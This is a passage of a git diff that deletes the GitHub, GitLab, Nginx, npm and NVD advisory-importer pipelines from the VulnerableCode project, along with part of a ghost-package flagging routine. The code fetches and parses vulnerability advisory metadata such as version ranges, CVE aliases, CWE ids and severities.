ghost package.""" - interesting_packages_qs = ( - Package.objects.order_by("type", "namespace", "name") - .filter(type__in=FETCHCODE_SUPPORTED_ECOSYSTEMS) - .filter(qualifiers="") - .filter(subpath="") - ) - - distinct_packages_count = ( - interesting_packages_qs.values("type", "namespace", "name") - .distinct("type", "namespace", "name") - .count() - ) - - grouped_packages = groupby( - interesting_packages_qs.paginated(), - key=lambda pkg: (pkg.type, pkg.namespace, pkg.name), - ) - - ghost_package_count = 0 - progress = LoopProgress(total_iterations=distinct_packages_count, logger=logger) - for type_namespace_name, packages in progress.iter(grouped_packages): - ghost_package_count += flag_ghost_packages( - base_purl=PackageURL(*type_namespace_name), - packages=packages, - logger=logger, - ) - - if logger: - logger(f"Successfully flagged {ghost_package_count:,d} ghost Packages") - - -def flag_ghost_packages(base_purl, packages, logger=None): - """ - Check if `packages` are available upstream. - If not, update `is_ghost` to `True`. - Return the number of packages flagged as ghost. - """ - known_versions = get_versions(purl=base_purl, logger=logger) - # Skip if encounter error while fetching known versions - if known_versions is None: - return 0 - - ghost_packages = 0 - for pkg in packages: - pkg.is_ghost = False - if pkg.version.lstrip("vV") not in known_versions: - pkg.is_ghost = True - ghost_packages += 1 - - if logger: - logger(f"Flagging ghost package {pkg.purl!s}", level=logging.DEBUG) - pkg.save() - - return ghost_packages diff --git a/vulnerabilities/pipelines/github_importer.py b/vulnerabilities/pipelines/github_importer.py deleted file mode 100644 index 66c457824..000000000 --- a/vulnerabilities/pipelines/github_importer.py +++ /dev/null @@ -1,316 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import logging -from traceback import format_exc as traceback_format_exc -from typing import Callable -from typing import Iterable -from typing import List -from typing import Optional - -from cwe2.database import Database -from dateutil import parser as dateparser -from packageurl import PackageURL -from univers.version_range import RANGE_CLASS_BY_SCHEMES -from univers.version_range import build_range_from_github_advisory_constraint - -from vulnerabilities import severity_systems -from vulnerabilities import utils -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Reference -from vulnerabilities.importer import VulnerabilitySeverity -from vulnerabilities.pipelines import VulnerableCodeBaseImporterPipeline -from vulnerabilities.utils import dedupe -from vulnerabilities.utils import get_cwe_id -from vulnerabilities.utils import get_item - - -class GitHubAPIImporterPipeline(VulnerableCodeBaseImporterPipeline): - """Collect GitHub advisories.""" - - pipeline_id = "github_importer" - - spdx_license_expression = "CC-BY-4.0" - license_url = "https://github.com/github/advisory-database/blob/main/LICENSE.md" - importer_name = "GHSA Importer" - - @classmethod - def steps(cls): - return ( - cls.collect_and_store_advisories, - cls.import_new_advisories, - ) - - package_type_by_github_ecosystem = { - "MAVEN": "maven", - "NUGET": "nuget", - "COMPOSER": "composer", - "PIP": "pypi", - "RUBYGEMS": "gem", - "NPM": "npm", - "RUST": "cargo", - # "GO": "golang", - } - - def advisories_count(self): - advisory_query = """ - query{ - securityVulnerabilities(first: 0, ecosystem: %s) { - totalCount - } - } - """ - advisory_counts = 0 - for ecosystem in self.package_type_by_github_ecosystem.keys(): - graphql_query = {"query": advisory_query % (ecosystem)} - response = utils.fetch_github_graphql_query(graphql_query) - advisory_counts += get_item(response, "data", "securityVulnerabilities", "totalCount") - return advisory_counts - - def collect_advisories(self) -> Iterable[AdvisoryData]: - - # TODO: We will try to gather more info from GH API - # Check https://github.com/nexB/vulnerablecode/issues/1039#issuecomment-1366458885 - # Check https://github.com/nexB/vulnerablecode/issues/645 - # set of all possible values of first '%s' = {'MAVEN','COMPOSER', 'NUGET', 'RUBYGEMS', 'PYPI', 'NPM', 'RUST'} - # second '%s' is interesting, it will have the value '' for the first request, - advisory_query = """ - query{ - securityVulnerabilities(first: 100, ecosystem: %s, %s) { - edges { - node { - advisory { - identifiers { - type - value - } - summary - references { - url - } - severity - cwes(first: 10){ - nodes { - cweId - } - } - publishedAt - } - firstPatchedVersion{ - identifier - } - package { - name - } - vulnerableVersionRange - } - } - pageInfo { - hasNextPage - endCursor - } - } - } - """ - for ecosystem, package_type in self.package_type_by_github_ecosystem.items(): - end_cursor_exp = "" - while True: - graphql_query = {"query": advisory_query % (ecosystem, end_cursor_exp)} - response = utils.fetch_github_graphql_query(graphql_query) - - page_info = get_item(response, "data", "securityVulnerabilities", "pageInfo") - end_cursor = get_item(page_info, "endCursor") - if end_cursor: - end_cursor = f'"{end_cursor}"' - end_cursor_exp = f"after: {end_cursor}" - - yield from process_response(response, package_type=package_type) - - if not get_item(page_info, "hasNextPage"): - break - - -def get_purl(pkg_type: str, github_name: str, logger: Callable = None) -> Optional[PackageURL]: - """ - Return a PackageURL by splitting the `github_name` using the `pkg_type` - convention. Return None and log an error if we can not split or it is an - unknown package type. - - For example:: - >>> expected = PackageURL(type='maven', namespace='org.apache.commons', name='commons-lang3') - >>> assert get_purl("maven", "org.apache.commons:commons-lang3") == expected - - >>> expected = PackageURL(type="composer", namespace="foo", name="bar") - >>> assert get_purl("composer", "foo/bar") == expected - """ - if pkg_type == "maven": - if ":" not in github_name: - if logger: - logger(f"get_purl: Invalid maven package name {github_name}", level=logging.ERROR) - return - ns, _, name = github_name.partition(":") - return PackageURL(type=pkg_type, namespace=ns, name=name) - - if pkg_type in ("composer", "npm"): - if "/" not in github_name: - return PackageURL(type=pkg_type, name=github_name) - vendor, _, name = github_name.partition("/") - return PackageURL(type=pkg_type, namespace=vendor, name=name) - - if pkg_type in ("nuget", "pypi", "gem", "golang", "npm", "cargo"): - return PackageURL(type=pkg_type, name=github_name) - - if logger: - logger(f"get_purl: Unknown package type {pkg_type}", level=logging.ERROR) - - -def process_response( - resp: dict, package_type: str, logger: Callable = None -) -> Iterable[AdvisoryData]: - """ - Yield `AdvisoryData` by taking `resp` and `ecosystem` as input - """ - vulnerabilities = get_item(resp, "data", "securityVulnerabilities", "edges") or [] - if not vulnerabilities: - if logger: - logger( - f"No vulnerabilities found for package_type: {package_type!r} in response: {resp!r}", - level=logging.ERROR, - ) - return - - for vulnerability in vulnerabilities: - aliases = [] - affected_packages = [] - github_advisory = get_item(vulnerability, "node") - if not github_advisory: - if logger: - logger(f"No node found in {vulnerability!r}", level=logging.ERROR) - continue - - advisory = get_item(github_advisory, "advisory") - if not advisory: - if logger: - logger(f"No advisory found in {github_advisory!r}", level=logging.ERROR) - continue - - summary = get_item(advisory, "summary") or "" - - references = get_item(advisory, "references") or [] - if references: - urls = (ref["url"] for ref in references) - references = [Reference.from_url(u) for u in urls] - - date_published = get_item(advisory, "publishedAt") - if date_published: - date_published = dateparser.parse(date_published) - - name = get_item(github_advisory, "package", "name") - if name: - purl = get_purl(pkg_type=package_type, github_name=name, logger=logger) - if purl: - affected_range = get_item(github_advisory, "vulnerableVersionRange") - fixed_version = get_item(github_advisory, "firstPatchedVersion", "identifier") - if affected_range: - try: - affected_range = build_range_from_github_advisory_constraint( - package_type, affected_range - ) - except Exception as e: - if logger: - logger( - f"Could not parse affected range {affected_range!r} {e!r} \n {traceback_format_exc()}", - level=logging.ERROR, - ) - affected_range = None - if fixed_version: - try: - fixed_version = RANGE_CLASS_BY_SCHEMES[package_type].version_class( - fixed_version - ) - except Exception as e: - if logger: - logger( - f"Invalid fixed version {fixed_version!r} {e!r} \n {traceback_format_exc()}", - level=logging.ERROR, - ) - fixed_version = None - if affected_range or fixed_version: - affected_packages.append( - AffectedPackage( - package=purl, - affected_version_range=affected_range, - fixed_version=fixed_version, - ) - ) - identifiers = get_item(advisory, "identifiers") or [] - ghsa_id = "" - for identifier in identifiers: - value = identifier["value"] - identifier_type = identifier["type"] - aliases.append(value) - # attach the GHSA with severity score - if identifier_type == "GHSA": - # Each Node has only one GHSA, hence exit after attaching - # score to this GHSA - ghsa_id = value - for ref in references: - if ref.reference_id == value: - severity = get_item(advisory, "severity") - if severity: - ref.severities = [ - VulnerabilitySeverity( - system=severity_systems.CVSS31_QUALITY, - value=severity, - ) - ] - - elif identifier_type == "CVE": - pass - else: - if logger: - logger( - f"Unknown identifier type {identifier_type!r} and value {value!r}", - level=logging.ERROR, - ) - - weaknesses = get_cwes_from_github_advisory(advisory, logger) - - yield AdvisoryData( - aliases=sorted(dedupe(aliases)), - summary=summary, - references=references, - affected_packages=affected_packages, - date_published=date_published, - weaknesses=weaknesses, - url=f"https://github.com/advisories/{ghsa_id}", - ) - - -def get_cwes_from_github_advisory(advisory, logger=None) -> List[int]: - """ - Return the cwe-id list from advisory ex: [ 522 ] - by extracting the cwe_list from advisory ex: [{'cweId': 'CWE-522'}] - then remove the CWE- from string and convert it to integer 522 and Check if the CWE in CWE-Database - """ - weaknesses = [] - db = Database() - cwe_list = get_item(advisory, "cwes", "nodes") or [] - for cwe_item in cwe_list: - cwe_string = get_item(cwe_item, "cweId") - if cwe_string: - cwe_id = get_cwe_id(cwe_string) - try: - db.get(cwe_id) - weaknesses.append(cwe_id) - except Exception as e: - if logger: - logger(f"Invalid CWE id {e!r} \n {traceback_format_exc()}", level=logging.ERROR) - return weaknesses diff --git a/vulnerabilities/pipelines/gitlab_importer.py b/vulnerabilities/pipelines/gitlab_importer.py deleted file mode 100644 index 4f25c4d94..000000000 --- a/vulnerabilities/pipelines/gitlab_importer.py +++ /dev/null @@ -1,312 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import logging -import traceback -from pathlib import Path -from typing import Iterable -from typing import List -from typing import Tuple - -import pytz -import saneyaml -from dateutil import parser as dateparser -from fetchcode.vcs import fetch_via_vcs -from packageurl import PackageURL -from univers.version_range import RANGE_CLASS_BY_SCHEMES -from univers.version_range import VersionRange -from univers.version_range import from_gitlab_native -from univers.versions import Version - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Reference -from vulnerabilities.pipelines import VulnerableCodeBaseImporterPipeline -from vulnerabilities.utils import build_description -from vulnerabilities.utils import get_advisory_url -from vulnerabilities.utils import get_cwe_id - - -class GitLabImporterPipeline(VulnerableCodeBaseImporterPipeline): - """Collect advisory from GitLab Advisory Database (Open Source Edition).""" - - pipeline_id = "gitlab_importer" - - spdx_license_expression = "MIT" - license_url = "https://gitlab.com/gitlab-org/advisories-community/-/blob/main/LICENSE" - importer_name = "GitLab Importer" - repo_url = "git+https://gitlab.com/gitlab-org/advisories-community/" - - @classmethod - def steps(cls): - return ( - cls.clone, - cls.collect_and_store_advisories, - cls.import_new_advisories, - cls.clean_downloads, - ) - - purl_type_by_gitlab_scheme = { - "conan": "conan", - "gem": "gem", - # Entering issue to parse go package names https://github.com/nexB/vulnerablecode/issues/742 - # "go": "golang", - "maven": "maven", - "npm": "npm", - "nuget": "nuget", - "packagist": "composer", - "pypi": "pypi", - } - - gitlab_scheme_by_purl_type = {v: k for k, v in purl_type_by_gitlab_scheme.items()} - - def clone(self): - self.log(f"Cloning `{self.repo_url}`") - self.vcs_response = fetch_via_vcs(self.repo_url) - - def advisories_count(self): - root = Path(self.vcs_response.dest_dir) - return sum(1 for _ in root.rglob("*.yml")) - - def collect_advisories(self) -> Iterable[AdvisoryData]: - base_path = Path(self.vcs_response.dest_dir) - - for file_path in base_path.rglob("*.yml"): - if file_path.parent == base_path: - continue - - gitlab_type, _, _ = parse_advisory_path( - base_path=base_path, - file_path=file_path, - ) - - if gitlab_type not in self.purl_type_by_gitlab_scheme: - # self.log( - # f"Unknown package type {gitlab_type!r} in {file_path!r}", - # level=logging.ERROR, - # ) - continue - - yield parse_gitlab_advisory( - file=file_path, - base_path=base_path, - gitlab_scheme_by_purl_type=self.gitlab_scheme_by_purl_type, - purl_type_by_gitlab_scheme=self.purl_type_by_gitlab_scheme, - logger=self.log, - ) - - def clean_downloads(self): - if self.vcs_response: - self.log(f"Removing cloned repository") - self.vcs_response.delete() - - def on_failure(self): - self.clean_downloads() - - -def parse_advisory_path(base_path: Path, file_path: Path) -> Tuple[str, str, str]: - """ - Parse a gitlab advisory file and return a 3-tuple of: - (gitlab_type, package_slug, vulnerability_id) - - For example:: - - >>> base_path = Path("/tmp/tmpi1klhpmd/checkout") - >>> file_path=Path("/tmp/tmpi1klhpmd/checkout/pypi/gradio/CVE-2021-43831.yml") - >>> parse_advisory_path(base_path=base_path, file_path=file_path) - ('pypi', 'gradio', 'CVE-2021-43831') - - >>> file_path=Path("/tmp/tmpi1klhpmd/checkout/nuget/github.com/beego/beego/v2/nuget/CVE-2021-43831.yml") - >>> parse_advisory_path(base_path=base_path, file_path=file_path) - ('nuget', 'github.com/beego/beego/v2/nuget', 'CVE-2021-43831') - - >>> file_path = Path("/tmp/tmpi1klhpmd/checkout/npm/@express/beego/beego/v2/CVE-2021-43831.yml") - >>> parse_advisory_path(base_path=base_path, file_path=file_path) - ('npm', '@express/beego/beego/v2', 'CVE-2021-43831') - """ - relative_path_segments = file_path.relative_to(base_path).parts - gitlab_type = relative_path_segments[0] - vuln_id = file_path.stem - package_slug = "/".join(relative_path_segments[1:-1]) - - return gitlab_type, package_slug, vuln_id - - -def get_purl(package_slug, purl_type_by_gitlab_scheme, logger): - """ - Return a PackageURL object from a package slug - """ - parts = [p for p in package_slug.strip("/").split("/") if p] - gitlab_scheme = parts[0] - purl_type = purl_type_by_gitlab_scheme[gitlab_scheme] - if gitlab_scheme == "go": - name = "/".join(parts[1:]) - return PackageURL(type=purl_type, namespace=None, name=name) - # if package slug is of the form: - # "nuget/NuGet.Core" - if len(parts) == 2: - name = parts[1] - return PackageURL(type=purl_type, name=name) - # if package slug is of the form: - # "nuget/github.com/beego/beego/v2/nuget" - if len(parts) >= 3: - name = parts[-1] - namespace = "/".join(parts[1:-1]) - return PackageURL(type=purl_type, namespace=namespace, name=name) - logger(f"get_purl: package_slug can not be parsed: {package_slug!r}", level=logging.ERROR) - return - - -def extract_affected_packages( - affected_version_range: VersionRange, - fixed_versions: List[Version], - purl: PackageURL, -) -> Iterable[AffectedPackage]: - """ - Yield AffectedPackage objects, one for each fixed_version - - In case of gitlab advisory data we get a list of fixed_versions and a affected_version_range. - Since we can not determine which package fixes which range. - We store the all the fixed_versions with the same affected_version_range in the advisory. - Later the advisory data is used to be inferred in the GitLabBasicImprover. - """ - for fixed_version in fixed_versions: - yield AffectedPackage( - package=purl, - fixed_version=fixed_version, - affected_version_range=affected_version_range, - ) - - -def parse_gitlab_advisory( - file, base_path, gitlab_scheme_by_purl_type, purl_type_by_gitlab_scheme, logger -): - """ - Parse a Gitlab advisory file and return an AdvisoryData or None. - These files are YAML. There is a JSON schema documented at - https://gitlab.com/gitlab-org/advisories-community/-/blob/main/ci/schema/schema.json - - Sample YAML file: - --- - identifier: "GMS-2018-26" - package_slug: "packagist/amphp/http" - title: "Incorrect header injection check" - description: "amphp/http isn't properly protected against HTTP header injection." - pubdate: "2018-03-15" - affected_range: "<1.0.1" - fixed_versions: - - "v1.0.1" - urls: - - "https://github.com/amphp/http/pull/4" - cwe_ids: - - "CWE-1035" - - "CWE-937" - identifiers: - - "GMS-2018-26" - """ - with open(file) as f: - gitlab_advisory = saneyaml.load(f) - if not isinstance(gitlab_advisory, dict): - logger( - f"parse_gitlab_advisory: unknown gitlab advisory format in {file!r} with data: {gitlab_advisory!r}", - level=logging.ERROR, - ) - return - - # refer to schema here https://gitlab.com/gitlab-org/advisories-community/-/blob/main/ci/schema/schema.json - aliases = gitlab_advisory.get("identifiers") - summary = build_description(gitlab_advisory.get("title"), gitlab_advisory.get("description")) - urls = gitlab_advisory.get("urls") - references = [Reference.from_url(u) for u in urls] - - cwe_ids = gitlab_advisory.get("cwe_ids") or [] - cwe_list = list(map(get_cwe_id, cwe_ids)) - - date_published = dateparser.parse(gitlab_advisory.get("pubdate")) - date_published = date_published.replace(tzinfo=pytz.UTC) - package_slug = gitlab_advisory.get("package_slug") - advisory_url = get_advisory_url( - file=file, - base_path=base_path, - url="https://gitlab.com/gitlab-org/advisories-community/-/blob/main/", - ) - purl: PackageURL = get_purl( - package_slug=package_slug, - purl_type_by_gitlab_scheme=purl_type_by_gitlab_scheme, - logger=logger, - ) - if not purl: - logger( - f"parse_yaml_file: purl is not valid: {file!r} {package_slug!r}", level=logging.ERROR - ) - return AdvisoryData( - aliases=aliases, - summary=summary, - references=references, - date_published=date_published, - url=advisory_url, - ) - affected_version_range = None - fixed_versions = gitlab_advisory.get("fixed_versions") or [] - affected_range = gitlab_advisory.get("affected_range") - gitlab_native_schemes = set(["pypi", "gem", "npm", "go", "packagist", "conan"]) - vrc: VersionRange = RANGE_CLASS_BY_SCHEMES[purl.type] - gitlab_scheme = gitlab_scheme_by_purl_type[purl.type] - try: - if affected_range: - if gitlab_scheme in gitlab_native_schemes: - affected_version_range = from_gitlab_native( - gitlab_scheme=gitlab_scheme, string=affected_range - ) - else: - affected_version_range = vrc.from_native(affected_range) - except Exception as e: - logger( - f"parse_yaml_file: affected_range is not parsable: {affected_range!r} for: {purl!s} error: {e!r}\n {traceback.format_exc()}", - level=logging.ERROR, - ) - - parsed_fixed_versions = [] - for fixed_version in fixed_versions: - try: - fixed_version = vrc.version_class(fixed_version) - parsed_fixed_versions.append(fixed_version) - except Exception as e: - logger( - f"parse_yaml_file: fixed_version is not parsable`: {fixed_version!r} error: {e!r}\n {traceback.format_exc()}", - level=logging.ERROR, - ) - - if parsed_fixed_versions: - affected_packages = list( - extract_affected_packages( - affected_version_range=affected_version_range, - fixed_versions=parsed_fixed_versions, - purl=purl, - ) - ) - else: - if not affected_version_range: - affected_packages = [] - else: - affected_packages = [ - AffectedPackage( - package=purl, - affected_version_range=affected_version_range, - ) - ] - return AdvisoryData( - aliases=aliases, - summary=summary, - references=references, - date_published=date_published, - affected_packages=affected_packages, - weaknesses=cwe_list, - url=advisory_url, - ) diff --git a/vulnerabilities/pipelines/nginx_importer.py b/vulnerabilities/pipelines/nginx_importer.py deleted file mode 100644 index c5e017033..000000000 --- a/vulnerabilities/pipelines/nginx_importer.py +++ /dev/null @@ -1,224 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -from typing import Iterable -from typing import NamedTuple - -import requests -from bs4 import BeautifulSoup -from packageurl import PackageURL -from univers.version_range import NginxVersionRange -from univers.versions import NginxVersion - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Reference -from vulnerabilities.importer import VulnerabilitySeverity -from vulnerabilities.pipelines import VulnerableCodeBaseImporterPipeline -from vulnerabilities.severity_systems import GENERIC - - -class NginxImporterPipeline(VulnerableCodeBaseImporterPipeline): - """Collect Nginx security advisories.""" - - pipeline_id = "nginx_importer" - - spdx_license_expression = "BSD-2-Clause" - license_url = "https://nginx.org/LICENSE" - url = "https://nginx.org/en/security_advisories.html" - importer_name = "Nginx Importer" - - @classmethod - def steps(cls): - return ( - cls.fetch, - cls.collect_and_store_advisories, - cls.import_new_advisories, - ) - - def fetch(self): - self.log(f"Fetch `{self.url}`") - self.advisory_data = requests.get(self.url).text - - def advisories_count(self): - return self.advisory_data.count("

  • ") - - def collect_advisories(self) -> Iterable[AdvisoryData]: - """ - Yield AdvisoryData from nginx security advisories HTML - web page. - """ - soup = BeautifulSoup(self.advisory_data, features="lxml") - vulnerability_list = soup.select("li p") - for vulnerability_info in vulnerability_list: - ngnix_advisory = parse_advisory_data_from_paragraph(vulnerability_info) - yield to_advisory_data(ngnix_advisory) - - -class NginxAdvisory(NamedTuple): - aliases: list - summary: str - advisory_severity: str - not_vulnerable: str - vulnerable: str - references: list - - def to_dict(self): - return self._asdict() - - -def to_advisory_data(nginx_adv: NginxAdvisory) -> AdvisoryData: - """ - Return AdvisoryData from an NginxAdvisory tuple. - """ - package_name = "nginx" - package_type = "nginx" - qualifiers = {} - - _, _, affected_version_range = nginx_adv.vulnerable.partition(":") - if "nginx/Windows" in affected_version_range: - qualifiers["os"] = "windows" - affected_version_range = affected_version_range.replace("nginx/Windows", "") - - purl = PackageURL(type=package_type, name=package_name, qualifiers=qualifiers) - - affected_version_range = NginxVersionRange.from_native(affected_version_range) - - affected_packages = [] - _, _, fixed_versions = nginx_adv.not_vulnerable.partition(":") - - for fixed_version in fixed_versions.split(","): - fixed_version = fixed_version.rstrip("+") - - # TODO: Mail nginx for this anomaly (create ticket on our side) - if "none" in fixed_version: - affected_packages.append( - AffectedPackage( - package=purl, - affected_version_range=affected_version_range, - ) - ) - break - - fixed_version = NginxVersion(fixed_version) - affected_packages.append( - AffectedPackage( - package=purl, - affected_version_range=affected_version_range, - fixed_version=fixed_version, - ) - ) - - return AdvisoryData( - aliases=nginx_adv.aliases, - summary=nginx_adv.summary, - affected_packages=affected_packages, - references=nginx_adv.references, - url="https://nginx.org/en/security_advisories.html", - ) - - -def parse_advisory_data_from_paragraph(vulnerability_info): - """ - Return an NginxAdvisory from a ``vulnerability_info`` bs4 paragraph. - - An advisory paragraph, without html markup, looks like this: - - 1-byte memory overwrite in resolver - Severity: medium - Advisory - CVE-2021-23017 - Not vulnerable: 1.21.0+, 1.20.1+ - Vulnerable: 0.6.18-1.20.0 - The patch pgp - - """ - aliases = [] - summary = None - advisory_severity = None - not_vulnerable = None - vulnerable = None - references = [] - is_first = True - - # we iterate on the children to accumulate values in variables - # FIXME: using an explicit xpath-like query could be simpler - for child in vulnerability_info.children: - if is_first: - summary = child - is_first = False - continue - - text = child.text.strip() - text_low = text.lower() - - if text.startswith( - ( - "CVE-", - "CORE-", - "VU#", - ) - ): - aliases.append(text) - if text.startswith("CVE-"): - - # always keep the CVE as a reference too - link = f"https://nvd.nist.gov/vuln/detail/{text}" - reference = Reference(reference_id=text, url=link) - references.append(reference) - - elif "severity" in text_low: - advisory_severity = build_severity(severity=text) - - elif "not vulnerable" in text_low: - not_vulnerable = text - - elif "vulnerable" in text_low: - vulnerable = text - - elif hasattr(child, "attrs"): - link = child.attrs.get("href") - if link: - if "cve.mitre.org" in link: - references.append(Reference(reference_id=text, url=link)) - elif "mailman.nginx.org" in link: - if advisory_severity: - severities = [advisory_severity] - else: - severities = [] - references.append(Reference(url=link, severities=severities)) - else: - link = requests.compat.urljoin("https://nginx.org", link) - references.append(Reference(url=link)) - - return NginxAdvisory( - aliases=aliases, - summary=summary, - advisory_severity=advisory_severity, - not_vulnerable=not_vulnerable, - vulnerable=vulnerable, - references=references, - ) - - -def build_severity(severity): - """ - Return a VulnerabilitySeverity built from a ``severity`` string, or None. - - For example:: - >>> severity = "Severity: medium" - >>> expected = VulnerabilitySeverity(system=GENERIC, value="medium") - >>> assert build_severity(severity) == expected - """ - if severity.startswith("Severity:"): - _, _, severity = severity.partition("Severity:") - - severity = severity.strip() - if severity: - return VulnerabilitySeverity(system=GENERIC, value=severity) diff --git a/vulnerabilities/pipelines/npm_importer.py b/vulnerabilities/pipelines/npm_importer.py deleted file mode 100644 index 7b6d3aba2..000000000 --- a/vulnerabilities/pipelines/npm_importer.py +++ /dev/null @@ -1,168 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -# Author: Navonil Das (@NavonilDas) - -from pathlib import Path -from typing import Iterable - -import pytz -from dateutil.parser import parse -from fetchcode.vcs import fetch_via_vcs -from packageurl import PackageURL -from univers.version_range import NpmVersionRange - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Reference -from vulnerabilities.importer import VulnerabilitySeverity -from vulnerabilities.pipelines import VulnerableCodeBaseImporterPipeline -from vulnerabilities.severity_systems import CVSSV2 -from vulnerabilities.severity_systems import CVSSV3 -from vulnerabilities.utils import build_description -from vulnerabilities.utils import load_json - - -class NpmImporterPipeline(VulnerableCodeBaseImporterPipeline): - """Collect advisories from nodejs GitHub repository.""" - - pipeline_id = "npm_importer" - - spdx_license_expression = "MIT" - license_url = "https://github.com/nodejs/security-wg/blob/main/LICENSE.md" - repo_url = "git+https://github.com/nodejs/security-wg" - importer_name = "Npm Importer" - - @classmethod - def steps(cls): - return ( - cls.clone, - cls.collect_and_store_advisories, - cls.import_new_advisories, - cls.clean_downloads, - ) - - def clone(self): - self.log(f"Cloning `{self.repo_url}`") - self.vcs_response = fetch_via_vcs(self.repo_url) - - def advisories_count(self): - vuln_directory = Path(self.vcs_response.dest_dir) / "vuln" / "npm" - return sum(1 for _ in vuln_directory.glob("*.json")) - - def collect_advisories(self) -> Iterable[AdvisoryData]: - vuln_directory = Path(self.vcs_response.dest_dir) / "vuln" / "npm" - - for advisory in vuln_directory.glob("*.json"): - yield from self.to_advisory_data(advisory) - - def to_advisory_data(self, file: Path) -> Iterable[AdvisoryData]: - data = load_json(file) - id = data.get("id") - description = data.get("overview") or "" - summary = data.get("title") or "" - date_published = None - if isinstance(data.get("created_at"), str): - date_published = parse(data.get("created_at")).replace(tzinfo=pytz.UTC) - references = [] - cvss_vector = data.get("cvss_vector") - cvss_score = data.get("cvss_score") - severities = [] - if cvss_vector and cvss_vector.startswith("CVSS:3.0/"): - severities.append( - VulnerabilitySeverity( - system=CVSSV3, - value=cvss_score, - ) - ) - if cvss_vector and cvss_vector.startswith("CVSS:2.0/"): - severities.append( - VulnerabilitySeverity( - system=CVSSV2, - value=cvss_score, - ) - ) - - advisory_reference = Reference( - url=f"https://github.com/nodejs/security-wg/blob/main/vuln/npm/{id}.json", - reference_id=id, - severities=severities, - ) - - for ref in data.get("references") or []: - references.append( - Reference( - url=ref, - severities=severities, - ) - ) - - if advisory_reference not in references: - references.append(advisory_reference) - - package_name = data.get("module_name") - affected_packages = [] - if package_name: - affected_packages.append(self.get_affected_package(data, package_name)) - advsisory_aliases = data.get("cves") or [] - - for alias in advsisory_aliases: - yield AdvisoryData( - summary=build_description(summary=summary, description=description), - references=references, - date_published=date_published, - affected_packages=affected_packages, - aliases=[alias], - url=f"https://github.com/nodejs/security-wg/blob/main/vuln/npm/{id}.json", - ) - - def get_affected_package(self, data, package_name): - affected_version_range = None - unaffected_version_range = None - fixed_version = None - - vulnerable_range = data.get("vulnerable_versions") or "" - patched_range = data.get("patched_versions") or "" - - # https://github.com/nodejs/security-wg/blob/cfaa51cc5c83f01eea61b69658f7bc76a77c5979/vuln/npm/213.json#L14 - if vulnerable_range == "<=99.999.99999": - vulnerable_range = "*" - if vulnerable_range: - affected_version_range = NpmVersionRange.from_native(vulnerable_range) - - # https://github.com/nodejs/security-wg/blob/cfaa51cc5c83f01eea61b69658f7bc76a77c5979/vuln/npm/213.json#L15 - if patched_range == "<0.0.0": - patched_range = None - if patched_range: - unaffected_version_range = NpmVersionRange.from_native(patched_range) - - # We only store single fixed versions and not a range of fixed versions - # If there is a single constraint in the unaffected_version_range - # having comparator as ">=" then we store that as the fixed version - if unaffected_version_range and len(unaffected_version_range.constraints) == 1: - constraint = unaffected_version_range.constraints[0] - if constraint.comparator == ">=": - fixed_version = constraint.version - - return AffectedPackage( - package=PackageURL( - type="npm", - name=package_name, - ), - affected_version_range=affected_version_range, - fixed_version=fixed_version, - ) - - def clean_downloads(self): - if self.vcs_response: - self.log(f"Removing cloned repository") - self.vcs_response.delete() - - def on_failure(self): - self.clean_downloads() diff --git a/vulnerabilities/pipelines/nvd_importer.py b/vulnerabilities/pipelines/nvd_importer.py deleted file mode 100644 index ccb067ec9..000000000 --- a/vulnerabilities/pipelines/nvd_importer.py +++ /dev/null @@ -1,323 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import gzip -import json -import logging -from datetime import date -from datetime import timezone -from traceback import format_exc as traceback_format_exc -from typing import Iterable - -import attr -import requests -from dateutil import parser as dateparser - -from vulnerabilities import severity_systems -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import Reference -from vulnerabilities.importer import VulnerabilitySeverity -from vulnerabilities.pipelines import VulnerableCodeBaseImporterPipeline -from vulnerabilities.utils import get_cwe_id -from vulnerabilities.utils import get_item - - -class NVDImporterPipeline(VulnerableCodeBaseImporterPipeline): - """Collect advisories from NVD.""" - - pipeline_id = "nvd_importer" - - # See https://github.com/nexB/vulnerablecode/issues/665 for follow up - spdx_license_expression = ( - "LicenseRef-scancode-us-govt-public-domain AND LicenseRef-scancode-cve-tou" - ) - license_url = "https://nvd.nist.gov/general/FAQ-Sections/General-FAQs#faqLink7" - notice = """ - See https://nvd.nist.gov/general/FAQ-Sections/General-FAQs#faqLink7 - All NVD data is freely available from our data feeds - (https://nvd.nist.gov/vuln/data-feeds). There are no fees, licensing - restrictions, or even a requirement to register. All NIST publications are - available in the public domain according to Title 17 of the United States - Code. Acknowledgment of the NVD when using our information is appreciated. - In addition, please email nvd@nist.gov to let us know how the 